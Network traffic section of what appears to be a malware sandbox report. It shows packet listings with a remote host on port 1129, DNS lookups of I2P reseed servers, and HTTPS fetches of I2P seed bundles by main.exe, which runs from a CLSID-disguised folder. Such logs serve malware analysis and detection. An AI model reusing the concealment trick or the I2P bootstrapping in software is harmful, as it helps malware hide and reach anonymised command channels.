Jan 5, 2025 17:49:12.942394972 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942406893 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942429066 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.942557096 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942572117 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942581892 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942595959 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.942616940 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.942797899 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942807913 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942819118 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942831039 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942843914 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.942846060 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942859888 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942867041 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.942873955 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942887068 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942895889 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.942924023 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.994751930 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.994764090 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.994815111 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.994842052 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.994961023 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.995006084 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.995847940 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.995922089 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.995933056 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.995944023 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.995956898 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.995970011 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.995989084 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.996016979 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.996130943 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.996170044 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.996181011 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.996217966 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.009790897 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.009835958 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.009859085 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.009870052 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.009880066 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.009893894 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.009903908 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.009903908 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.009933949 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.009979010 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.009990931 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.010003090 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.010025978 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.010056019 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.023917913 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.023937941 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.023948908 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.023981094 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.023991108 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.024022102 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.024068117 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024081945 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024094105 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024106026 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024116993 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024116993 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.024141073 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024148941 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.024158001 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024169922 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024190903 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.024205923 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.024554968 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024565935 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024576902 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024589062 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024599075 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024600029 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.024612904 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024636984 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.024662018 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.024744987 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.024777889 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.025041103 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.077269077 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.077290058 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.077341080 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.077351093 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.078495026 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.078525066 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.078536987 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.078547955 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.078567982 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.078596115 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.078665018 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.078676939 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.078687906 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.078699112 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.078711033 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.078727961 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.091492891 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.091506004 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.091517925 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.091558933 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.091594934 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.092031956 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.092053890 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.092065096 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.092080116 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.092092037 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.092097998 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.092102051 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.092118979 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.092142105 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.105762005 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.105792999 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.105802059 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.105861902 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.106241941 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106290102 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106303930 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106340885 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.106348038 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106359005 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106372118 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106374025 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.106384039 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106394053 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.106427908 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.106525898 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106538057 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106548071 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106569052 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.106823921 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106836081 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106857061 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106863976 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.106884956 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106897116 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.106899023 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106913090 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106926918 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.106952906 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.106988907 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.159220934 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.159245968 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.159257889 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.159322023 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:13.163642883 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.163660049 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.163672924 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.163693905 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:13.163706064 CET	1129	49704	45.200.148.158	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 17:49:40.057634115 CET	192.168.2.5	1.1.1.1	0x7907	Standard query (0)	reseed.memcpy.io	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:49:41.396738052 CET	192.168.2.5	1.1.1.1	0xe213	Standard query (0)	reseed-pl.i2pd.xyz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:49:43.648171902 CET	192.168.2.5	1.1.1.1	0xe25f	Standard query (0)	reseed.i2pgit.org	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:51:00.264415979 CET	192.168.2.5	1.1.1.1	0x12ec	Standard query (0)	reseed.onion.im	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 17:49:12.673886061 CET	1.1.1.1	192.168.2.5	0xef5b	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:49:12.673886061 CET	1.1.1.1	192.168.2.5	0xef5b	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:49:40.067955971 CET	1.1.1.1	192.168.2.5	0x7907	No error (0)	reseed.memcpy.io	95.216.2.172	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:49:41.570261002 CET	1.1.1.1	192.168.2.5	0xe213	No error (0)	reseed-pl.i2pd.xyz	185.226.181.238	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:49:43.684139013 CET	1.1.1.1	192.168.2.5	0xe25f	No error (0)	reseed.i2pgit.org	68.183.196.133	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:51:00.291112900 CET	1.1.1.1	192.168.2.5	0x12ec	No error (0)	reseed.onion.im	159.223.194.171	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49856	95.216.2.172	443	6524	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:49:40 UTC	102	OUT	GET https://reseed.memcpy.io:443/i2pseeds.su3 HTTP/1.0 User-Agent: Wget/1.11.4 Connection: close
2025-01-05 16:49:41 UTC	247	IN	Data Raw: 48 54 54 50 2f 31 2e 30 20 32 30 30 20 4f 4b 0d 0a 63 6f 6e 74 65 6e 74 2d 64 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 69 32 70 73 65 65 64 73 2e 73 75 33 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 36 39 35 39 35 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 78 2d 72 61 74 65 6c 69 6d 69 74 2d 6c 69 6d 69 74 3a 20 34 0d 0a 78 2d 72 61 74 65 6c 69 6d 69 74 2d 72 65 6d 61 69 6e 69 6e 67 3a 20 33 0d 0a 78 2d 72 61 74 65 6c 69 6d 69 74 2d 72 65 73 65 74 3a 20 39 30 30 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 30 35 20 4a 61 6e 20 32 30 32 35 20 31 36 3a 34 39 3a 34 30 20 47 4d 54 0d 0a 0d 0a Data Ascii: HTTP/1.0 200 OKcontent-disposition: attachment; filename=i2pseeds.su3content-length: 69595content-type: application/octet-streamx-ratelimit-limit: 4x-ratelimit-remaining: 3x-ratelimit-reset: 900date: Sun, 05 Jan 2025 16:49:40 GMT
2025-01-05 16:49:41 UTC	14998	IN	Data Raw: 49 32 50 73 75 33 00 00 00 06 02 00 00 10 00 10 00 00 00 00 00 01 0d 93 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 31 37 33 35 36 39 36 36 30 34 00 00 00 00 00 00 68 6f 74 74 75 6e 61 40 6d 61 69 6c 2e 69 32 70 50 4b 03 04 14 00 08 00 08 00 2b 15 98 59 00 00 00 00 00 00 00 00 00 00 00 00 3b 00 09 00 72 6f 75 74 65 72 49 6e 66 6f 2d 4c 74 74 30 4c 63 45 66 49 6d 64 54 5a 67 58 2d 64 30 6b 51 73 69 33 56 43 48 38 59 42 78 6c 58 59 51 5a 52 6e 7a 51 46 62 32 38 3d 2e 64 61 74 55 54 05 00 01 52 1f 6a 67 8a e1 f3 b9 c4 37 d5 63 f5 95 a3 ae ec 1d 2a cb d6 33 33 9c 4b 33 33 16 de be f7 c9 ce 95 c1 6f 2a b9 b7 a9 a8 4c 29 16 fc 7e ef eb 89 b2 4b 51 c6 35 ea eb d7 c9 bc 68 5a f0 41 7e dd 9e 83 77 ae de 39 f8 7d 54 1e bf fc 67 dd 0f b9 2b 6e b7 ef bf 14 6e e7 Data Ascii: I2Psu31735696604hottuna@mail.i2pPK+Y;routerInfo-Ltt0LcEfImdTZgX-d0kQsi3VCH8YBxlXYQZRnzQFb28=.datUTRjg7c33K33oL)~KQ5hZA~w9}Tg+nn
2025-01-05 16:49:41 UTC	1072	IN	Data Raw: 4e b3 ca be 6a b5 ff ab fd 59 49 fb a1 88 93 f2 54 6b 4e ef 6e 2f 97 75 55 a1 ac 0c 2c 0c ec 0c 2c 0c 0c 8c 93 7f dc b7 ea 62 62 65 80 02 96 e0 e0 50 23 86 79 2c c9 89 05 c5 b6 4c 4e ce d6 2c 19 f9 c5 25 b6 3c 16 66 7a 86 e6 7a 46 86 46 7a 66 e6 d6 8c 99 b6 3a 1e 39 5e 95 c1 f9 a1 be a5 5e f9 89 51 1e 11 2e be 75 79 25 26 61 05 41 1e 7e 49 06 ba 39 de ee 01 81 15 11 86 a6 41 96 ee 9e 26 b6 d6 cc b9 25 a5 b6 2c 86 46 16 06 d6 2c 05 f9 45 25 b6 ac 86 16 46 a6 a6 d6 8c c5 b6 3a 26 c6 c9 06 f9 fe ee 4e ae 91 49 96 c9 69 65 26 16 ae ae c1 91 c9 a6 85 49 e9 3e c5 86 ae a9 25 89 61 65 a5 c9 ae 21 ee 45 4e 91 b6 d6 8c 65 b6 8c 46 d6 5c 30 d7 b2 fa 85 38 07 18 31 94 e2 70 a4 44 90 45 72 a8 9f 81 67 84 7b 48 52 8a 5b 44 b1 99 59 b6 7f 5e 81 a3 ad 2d a6 2b cc aa 2a Data Ascii: NjYITkNn/uU,,bbeP#y,LN,%<fzzFFzf:9^^Q.uy%&aA~I9A&%,F,E%F:&NIie&I>%ae!ENeF\081pDErg{HR[DY^-+*
2025-01-05 16:49:41 UTC	15248	IN	Data Raw: 4f 74 75 61 53 79 58 61 5a 34 57 4d 7a 30 4f 6e 74 42 65 72 72 30 66 6d 5a 65 57 62 62 49 3d 2e 64 61 74 55 54 05 00 01 60 4a 6a 67 ec d3 4d 88 dc e4 1f 07 f0 cc 7f 67 ff c5 1e 2c 15 f5 24 08 6b d5 83 33 cb f3 24 4f 9e 4c 18 63 9d c9 26 33 c9 ec cc 64 5e 32 dd c9 65 99 4c 32 49 76 de 32 c9 4c 26 13 6a 8b 1e b4 50 4a 15 0f 45 8b 3d 28 52 3c b5 f8 76 a8 97 5a 2a a5 e0 4d ba 15 c1 82 50 10 14 57 f1 a4 e2 41 f6 65 5c 28 d4 43 bd 9a e3 f7 c7 ef 47 be 7c 78 4e b1 85 a7 db fe f1 6b 17 6f 3e 79 4e b9 5d 5a 97 a4 2b 11 7f 84 7e fd ce dd c3 3f de 38 fa d9 ba fb c8 97 2f 7d 35 f5 3e be 7c fe f4 e5 6b f1 17 ae 8f ea 4f 5d 5c fa e6 c0 1f 9f fc 92 bb 90 0f be 3d fc df fc 9f e7 9c ff f5 99 1f da 37 cf 3e cb 1f bd b1 5e da fa e2 34 1f de 3a 7b e6 d3 e7 27 ef 4f 27 6f bd Data Ascii: OtuaSyXaZ4WMz0OntBerr0fmZeWbbI=.datUT`JjgMg,$k3$OLc&3d^2eL2Iv2L&jPJE=(R<vZ*MPWAe\(CG\|xNko>yN]Z+~?8/}5>\|kO]\=7>^4:{'O'o
2025-01-05 16:49:41 UTC	16320	IN	Data Raw: 6d 75 47 6b 51 3d 2e 64 61 74 55 54 05 00 01 a8 5c 6a 67 6a da f5 e9 6d 45 c9 cb 7d 62 d5 46 d6 e7 cf 05 1e 38 74 8c 65 63 eb f6 96 e9 3b ab 43 3a 15 ce f2 27 ee 90 09 ab 75 3a bc 22 a2 6c aa fd 01 6e c5 9e 7d c7 12 9f 2f cb 90 30 7d d9 cb 91 70 42 a3 e8 9d fe a8 3c 7e f9 15 27 2f 0a dc 79 18 ff c3 ae 6a 61 f5 4c 6d c3 a6 80 a7 52 27 b9 bf 3a 09 2e 67 15 da 70 4a ef df 14 56 06 16 06 76 06 16 06 06 c6 c9 3f 7e 96 b4 b3 f0 31 40 01 ab 5f 88 73 80 11 83 03 4b 72 62 41 b1 2d a3 89 35 63 b1 ad 8e 71 69 9e 9b 65 44 50 a8 97 77 4a 40 56 50 99 8f 65 58 a5 5f 5d 90 69 89 87 51 68 76 59 a0 a1 8b 53 45 65 a1 59 a2 53 45 99 71 b9 ad 35 63 99 2d a3 91 35 33 0e 03 cd c8 35 90 1f 66 20 4b 70 70 a8 11 63 0d c2 81 99 b6 3a 41 d9 c9 85 ba 25 29 ba a1 29 de ce 26 99 2e 2e Data Ascii: muGkQ=.datUT\jgjmE}bF8tec;C:'u:"ln}/0}pB<~'/yjaLmR':.gpJVv?~1@_sKrbA-5cqieDPwJ@VPeX_]iQhvYSEeYSEq5c-535f Kppc:A%))&..
2025-01-05 16:49:41 UTC	16320	IN	Data Raw: 01 98 2d 6a 67 ca 97 b0 39 5b b8 a4 67 d5 6c 8b 4d 56 4b 34 d9 7a ab 8b 8e 9c fc 5e f3 6b 22 db e7 97 4b 9d 45 f8 18 02 63 38 0b d6 f6 0b 48 ee f9 9d f6 4e 69 fb 6b a1 6f 7a 2b f7 e5 26 d8 5f fd 13 65 e8 e6 d5 50 73 62 54 1e bf 7c d6 32 0e 8d 1d e7 6a 83 44 e6 3e 28 73 95 3f 28 f8 22 f2 48 c9 b1 d7 5e ee a7 62 0d 7c 7e 5d ad 9e c3 ca c0 c2 c0 ce c0 c2 c0 c0 38 f9 c7 1f 2e 69 26 56 06 28 60 09 0e 0e 35 62 98 ca 92 9c 58 50 6c cb e8 64 cd 92 91 5f 5c 62 cb 6f 64 68 ac 67 68 60 a9 67 68 66 a4 67 68 69 6e cd 98 69 ab 53 e8 15 1e 15 e0 9f 69 6c 9c 13 e0 92 9b 15 10 61 1a 12 58 e1 1f 54 e2 e6 9b e2 16 14 94 14 1e 1e 1e 58 17 94 e1 e9 96 9b 61 16 6a 6b cd 52 90 5f 54 62 cb 6a 6c 64 6e 66 69 cd 58 6c ab 93 68 e1 96 63 59 9a e4 5e 61 1a 68 98 68 69 ea e8 e8 99 e6 Data Ascii: -jg9[glMVK4z^k"KEc8HNikoz+&_ePsbT\|2jD>(s?("H^b\|~]8.i&V(`5bXPld_\bodhgh`ghfghiniSilaXTXajkR_TbjldnfiXlhcY^ahhi
2025-01-05 16:49:41 UTC	5637	IN	Data Raw: 00 3b 00 09 00 00 00 00 00 00 00 00 00 00 00 58 63 00 00 72 6f 75 74 65 72 49 6e 66 6f 2d 78 68 5a 66 63 4b 30 33 6a 70 61 72 6d 50 67 4a 44 59 4e 32 68 38 37 52 7a 7e 69 62 4f 46 37 35 55 58 38 56 4c 48 6c 76 79 62 34 3d 2e 64 61 74 55 54 05 00 01 86 60 6a 67 50 4b 01 02 14 00 14 00 08 08 08 00 e8 16 98 59 a3 8f 1e 78 86 02 00 00 db 03 00 00 3b 00 09 00 00 00 00 00 00 00 00 00 00 00 a8 65 00 00 72 6f 75 74 65 72 49 6e 66 6f 2d 2d 5a 54 33 7e 48 74 68 46 37 69 4a 50 30 62 55 69 4d 47 4c 39 32 57 7e 30 4a 2d 69 79 56 74 72 78 6c 4a 66 56 70 67 2d 50 2d 51 3d 2e 64 61 74 55 54 05 00 01 94 22 6a 67 50 4b 01 02 14 00 14 00 08 00 08 00 22 2e 98 59 3d 32 da 5d e2 01 00 00 2d 03 00 00 3b 00 09 00 00 00 00 00 00 00 00 00 00 00 a0 68 00 00 72 6f 75 74 65 72 49 6e Data Ascii: ;XcrouterInfo-xhZfcK03jparmPgJDYN2h87Rz~ibOF75UX8VLHlvyb4=.datUT`jgPKYx;erouterInfo--ZT3~HthF7iJP0bUiMGL92W~0J-iyVtrxlJfVpg-P-Q=.datUT"jgPK".Y=2]-;hrouterIn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49867	185.226.181.238	443	6524	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:49:42 UTC	104	OUT	GET https://reseed-pl.i2pd.xyz:443/i2pseeds.su3 HTTP/1.0 User-Agent: Wget/1.11.4 Connection: close
2025-01-05 16:49:42 UTC	160	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 05 Jan 2025 16:49:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49876	185.226.181.238	443	6524	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:49:43 UTC	104	OUT	GET https://reseed-pl.i2pd.xyz:443/i2pseeds.su3 HTTP/1.0 User-Agent: Wget/1.11.4 Connection: close
2025-01-05 16:49:43 UTC	160	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 05 Jan 2025 16:49:43 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49885	68.183.196.133	443	6524	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:49:44 UTC	103	OUT	GET https://reseed.i2pgit.org:443/i2pseeds.su3 HTTP/1.0 User-Agent: Wget/1.11.4 Connection: close
2025-01-05 16:49:44 UTC	288	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 05 Jan 2025 16:49:44 GMT Content-Type: application/octet-stream Content-Length: 64742 Connection: close Content-Disposition: attachment; filename=i2pseeds.su3 X-Ratelimit-Limit: 4 X-Ratelimit-Remaining: 3 X-Ratelimit-Reset: 900
2025-01-05 16:49:44 UTC	3830	IN	Data Raw: 49 32 50 73 75 33 00 00 00 06 02 00 00 10 00 17 00 00 00 00 00 00 fa 97 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 31 37 33 36 30 38 34 37 32 36 00 00 00 00 00 00 68 61 6e 6b 68 69 6c 6c 31 39 35 38 30 40 67 6d 61 69 6c 2e 63 6f 6d 50 4b 03 04 14 00 08 00 08 00 a1 5c 25 5a 00 00 00 00 00 00 00 00 00 00 00 00 3b 00 09 00 72 6f 75 74 65 72 49 6e 66 6f 2d 65 56 4a 4e 2d 67 65 71 36 74 71 52 79 42 33 61 61 6d 37 62 30 72 32 71 46 37 4c 59 63 5a 63 30 4c 79 4c 67 62 4c 30 6b 5a 79 34 3d 2e 64 61 74 55 54 05 00 01 df 6e 7a 67 d2 35 9d e1 36 77 fd 2e e1 86 1e 8d 83 55 53 fa 59 35 26 5e ff 2c f6 98 7f cd ee 7c d3 6f ff 2b 56 e5 f7 47 1a 2c dd 7b 2b db f6 a0 5d d4 94 b3 5a 6f fe 97 f5 6f e3 2c b8 fc e8 7b cc 4e 7f 36 cb 8d 0e 07 6b 13 17 72 da 99 18 1c cd 64 Data Ascii: I2Psu31736084726hankhill19580@gmail.comPK\%Z;routerInfo-eVJN-geq6tqRyB3aam7b0r2qF7LYcZc0LyLgbL0kZy4=.datUTnzg56w.USY5&^,\|o+VG,{+]Zoo,{N6krd
